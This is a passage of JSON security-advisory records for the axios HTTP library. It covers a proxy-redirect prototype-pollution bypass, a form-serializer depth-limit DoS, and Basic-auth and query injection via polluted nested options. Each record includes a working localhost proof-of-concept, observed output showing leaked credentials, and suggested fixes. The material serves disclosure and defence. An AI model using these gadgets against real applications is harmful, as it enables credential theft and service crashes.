null-prototype property or otherwise normalizing the object into an own-property-only structure.\n     Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n  4. Prototype-chain read of proxy in the Node adapter\n\n     The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can\n     redirect the outgoing authenticated request through an attacker-controlled proxy.\n     Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n\n  ## Why this is a security issue and not intended behavior\n\n  Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The\n  existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.\n\n  This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an\n  immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.\n\n  ## Realistic threat model\n\n  A realistic exploit chain is:\n\n  1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.\n  2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.\n  3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.\n  4. The application sends an HTTP request with credentials or sensitive body data.\n  5. Axios routes that request through the inherited proxy configuration.\n\n  This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.\n\n  ## Proof of concept\n\n  Save as poc.mjs in the axios repository root:\n\n```js\n  import axios from './index.js';\n  import http from 'node:http';\n\n  const proxyEnvKeys = [\n    'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n    'http_proxy', 'https_proxy', 'all_proxy',\n    'NO_PROXY', 'no_proxy'\n  ];\n\n  for (const key of proxyEnvKeys) delete process.env[key];\n\n  const listen = (handler) =\u003e new Promise((resolve, reject) =\u003e {\n    const server = http.createServer(handler);\n    server.once('error', reject);\n    server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n  });\n\n  const close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\n  const targetHits = [];\n  const proxyHits = [];\n\n  const target = await listen((req, res) =\u003e {\n    let body = '';\n    req.on('data', (chunk) =\u003e body += chunk);\n    req.on('end', () =\u003e {\n      targetHits.push({\n        url: req.url,\n        method: req.method,\n        authorization: req.headers.authorization || null,\n        body\n      });\n      res.writeHead(200, {'Content-Type': 'application/json'});\n      res.end(JSON.stringify({server: 'target'}));\n    });\n  });\n\n  const proxy = await listen((req, res) =\u003e {\n    let body = '';\n    req.on('data', (chunk) =\u003e body += chunk);\n    req.on('end', () =\u003e {\n      proxyHits.push({\n        url: req.url,\n        method: req.method,\n        authorization: req.headers.authorization || null,\n        host: req.headers.host || null,\n        body\n      });\n      res.writeHead(200, {'Content-Type': 'application/json'});\n      res.end(JSON.stringify({server: 'proxy'}));\n    });\n  });\n\n  Object.prototype.proxy = {\n    protocol: 'http',\n    host: '127.0.0.1',\n    port: proxy.address().port\n  };\n\n  const api = axios.create();\n\n  api.interceptors.request.use((config) =\u003e ({\n    ...config,\n    headers: {\n      ...config.headers,\n      'X-App': 'demo'\n    }\n  }));\n\n  try {\n    const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n    const explicit = await api.get(url, {\n      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n    });\n\n    proxyHits.length = 0;\n    targetHits.length = 0;\n\n    const basic = await api.get(url, {\n      auth: {username: 'svc-account', password: 'prod-secret'}\n    });\n\n    proxyHits.length = 0;\n    targetHits.length = 0;\n\n    const post = await api.post(url, {secret: 'request-body-secret'}, {\n      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n    });\n\n    console.log(JSON.stringify({\n      explicitResponse: explicit.data,\n      basicResponse: basic.data,\n      postResponse: post.data,\n      targetHits,\n      proxyHits,\n      finalConfigPrototype:\n        Object.getPrototypeOf(post.config) === Object.prototype\n          ? 'Object.prototype'\n          : 'other',\n      finalConfigHasOwnProxy:\n        Object.prototype.hasOwnProperty.call(post.config, 'proxy')\n    }, null, 2));\n  } finally {\n    delete Object.prototype.proxy;\n    await close(target);\n    await close(proxy);\n  }\n```\n\n  Run:\n```bash\n  npm ci\n  node poc.mjs\n```\n\n  ## Observed results\n\n  Representative observed output from local loopback testing:\n\n```text\n\n  {\n    \"explicitResponse\": {\"server\": \"proxy\"},\n    \"basicResponse\": {\"server\": \"proxy\"},\n    \"postResponse\": {\"server\": \"proxy\"},\n    \"targetHits\": [],\n    \"proxyHits\": [\n      {\n        \"url\": \"http://127.0.0.1:40613/api/secret\",\n        \"method\": \"POST\",\n        \"authorization\": \"Bearer EXPLICIT_SECRET\",\n        \"host\": \"127.0.0.1:40613\",\n        \"body\": \"{\\\"secret\\\":\\\"request-body-secret\\\"}\"\n      }\n    ],\n    \"finalConfigPrototype\": \"Object.prototype\",\n    \"finalConfigHasOwnProxy\": false\n  }\n\n  Additional validation showed axios-generated Basic auth is also disclosed to the proxy:\n\n  {\n    \"authorization\": \"Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=\"\n  }\n\n```\n\n  That value decodes to:\n\n  svc-account:prod-secret\n\n  Negative controls were also tested:\n\n  - No interceptor: target receives request, proxy receives none.\n  - Interceptor mutating and returning the same config object: proxy receives none.\n  - Own proxy: false: proxy receives none.\n  - Null-prototype clone interceptor: proxy receives none.\n  - Fetch adapter in Node with the same interceptor: proxy receives none.\n\n  ## Suggested remediation\n\n  Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.\n\n  A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should\n  also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.\n\n  ## Minimal regression test\n\n  Add an end-to-end Node HTTP adapter test that:\n\n  1. Starts a target server and attacker proxy on 127.0.0.1.\n  2. Sets Object.prototype.proxy to the attacker proxy.\n  3. Adds a request interceptor returning {...config, headers: {...config.headers}}.\n  4. Sends a request with an Authorization header.\n  5. Asserts the target server receives the request.\n  6. Asserts the attacker proxy receives no request.\n  7. Asserts the final config no longer exposes inherited proxy.\n\n  A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.\n\n  ## References / permalinks\n\n  - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n  - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199\n  - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n  - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n  - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n  - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144\n  - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T22:40:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-gcfj-64vw-6mp9"],"source_kind":"github","identifiers":["GHSA-gcfj-64vw-6mp9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-08-28T13:00:55.308Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY2ZqLTY0dnctNm1wOc4ABcRL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nY2ZqLTY0dnctNm1wOc4ABcRL","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.15.2, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.31.1, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY2ZqLTY0dnctNm1wOc4ABcRL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oY3B4LTZmbTYtd3gyM84ABcRK","url":"https://github.com/advisories/GHSA-hcpx-6fm6-wx23","title":"Axios form serializer maxDepth bypass via {} metatoken","description":"## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value \u0026\u0026 !path \u0026\u0026 typeof value === 'object') {\n  if (utils.endsWith(key, '{}')) {\n    key = metaTokens ? key : key.slice(0, -2);\n    value = JSON.stringify(value);\n  }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth \u003e maxDepth) {\n  throw new AxiosError(\n    'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n    AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n  );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from './lib/helpers/toFormData.js';\n\nfunction buildDeep(depth) {\n  const head = {};\n  let cur = head;\n\n  for (let i = 0; i \u003c depth; i += 1) {\n    cur.x = {};\n    cur = cur.x;\n  }\n\n  return head;\n}\n\ntry {\n  toFormData({ 'evil{}': buildDeep(10000) });\n} catch (err) {\n  console.log(err.name, err.code || '', err.message);\n}\n\n// Expected affected result:\n// RangeError  Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -\u003e `defaults.transformRequest` -\u003e `toURLEncodedForm(data)` -\u003e `toFormData`\n- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -\u003e same path via `toFormData`\n- `axios.get(url, { params })` -\u003e `buildURL` -\u003e `new AxiosURLSearchParams(params)` -\u003e `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value \u0026\u0026 !path \u0026\u0026 typeof value === 'object') {\n// 166 if (utils.endsWith(key, '{}')) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // \u003c-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth \u003e maxDepth) {\n// 215 throw new AxiosError(\n// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post('/forward', async (req, res) =\u003e {\n await axios.post('https://upstream/api', req.body); // req.body attacker-controlled\n res.send('ok');\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": \u003c8000-deep object\u003e}\n// -\u003e JSON.stringify recurses inside defaultVisitor -\u003e RangeError -\u003e handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d \u003e maxDepth) {\n+ throw new AxiosError(\n+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v \u0026\u0026 typeof v === 'object') {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from './source/index.js';\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i \u003c depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () =\u003e Promise.resolve({\n data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post('http://example.test/x',\n { 'evil{}': malicious },\n { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });\n} catch (e) {\n console.log('POST form-encoded:', e.name, '-', e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get('http://example.test/x',\n { params: { 'evil{}': malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log('GET params:', e.name, '-', e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:38:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://github.com/advisories/GHSA-hcpx-6fm6-wx23"],"source_kind":"github","identifiers":["GHSA-hcpx-6fm6-wx23"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-08-28T13:00:55.310Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3B4LTZmbTYtd3gyM84ABcRK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oY3B4LTZmbTYtd3gyM84ABcRK","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.15.1, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.31.1, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3B4LTZmbTYtd3gyM84ABcRK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cThxLXJqNmotbWhqcc4ABcRJ","url":"https://github.com/advisories/GHSA-7q8q-rj6j-mhjq","title":"Axios: Nested axios option objects can consume polluted prototype values","description":"## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n  return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options \u0026\u0026 options.encode) || encode;\nconst serializeFn = _options \u0026\u0026 _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n  value: user,\n  configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n  value: pass,\n  configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n  value: () =\u003e 'polluted=1',\n  configurable: true\n});\n\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({\n    authorization: req.headers.authorization || null,\n    url: req.url\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\n\ntry {\n  const port = server.address().port;\n  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n    auth: {},\n    paramsSerializer: {},\n    params: { unused: 'ignored' }\n  });\n\n  console.log(response.data);\n} finally {\n  await new Promise((resolve) =\u003e server.close(resolve));\n  delete Object.prototype.username;\n  delete Object.prototype.password;\n  delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n  \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n  \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n  function getMergedValue(target, source, prop, caseless) {\n    if (utils.isPlainObject(target) \u0026\u0026 utils.isPlainObject(source)) {\n      return utils.merge.call({ caseless }, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n  if (auth) {\n    headers.set(\n      'Authorization',\n      'Basic ' +\n        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n    );\n  }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n      // HTTP basic authentication\n      let auth = undefined;\n      const configAuth = own('auth');\n      if (configAuth) {\n        const username = configAuth.username || '';\n        const password = configAuth.password || '';\n        auth = username + ':' + password;\n      }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n  if (!params) {\n    return url;\n  }\n  const _encode = (options \u0026\u0026 options.encode) || encode;\n  const _options = utils.isFunction(options)\n    ? {\n        serialize: options,\n      }\n    : options;\n  const serializeFn = _options \u0026\u0026 _options.serialize;\n  let serializedParams;\n  if (serializeFn) {\n    serializedParams = serializeFn(params, _options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params)\n      ? params.toString()\n      : new AxiosURLSearchParams(params, _options).toString(_encode);\n  }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n  value: ATTACKER_USER,\n  configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n  value: ATTACKER_PASS,\n  configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n  value: () =\u003e 'polluted=1',\n  configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) =\u003e {\n  const captured = {\n    authorization: req.headers['authorization'] || null,\n    url: req.url,\n  };\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n  // Application code: passes nested *placeholder* option objects that have\n  // no own auth/serializer properties. Without prototype pollution this is\n  // a no-op. With prototype pollution it becomes attacker-controlled state.\n  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n    auth: {},\n    paramsSerializer: {},\n    params: { unused: 'ignored-by-polluted-serializer' },\n  });\n\n  console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n  console.log('Server saw:', JSON.stringify(response.data));\n\n  const 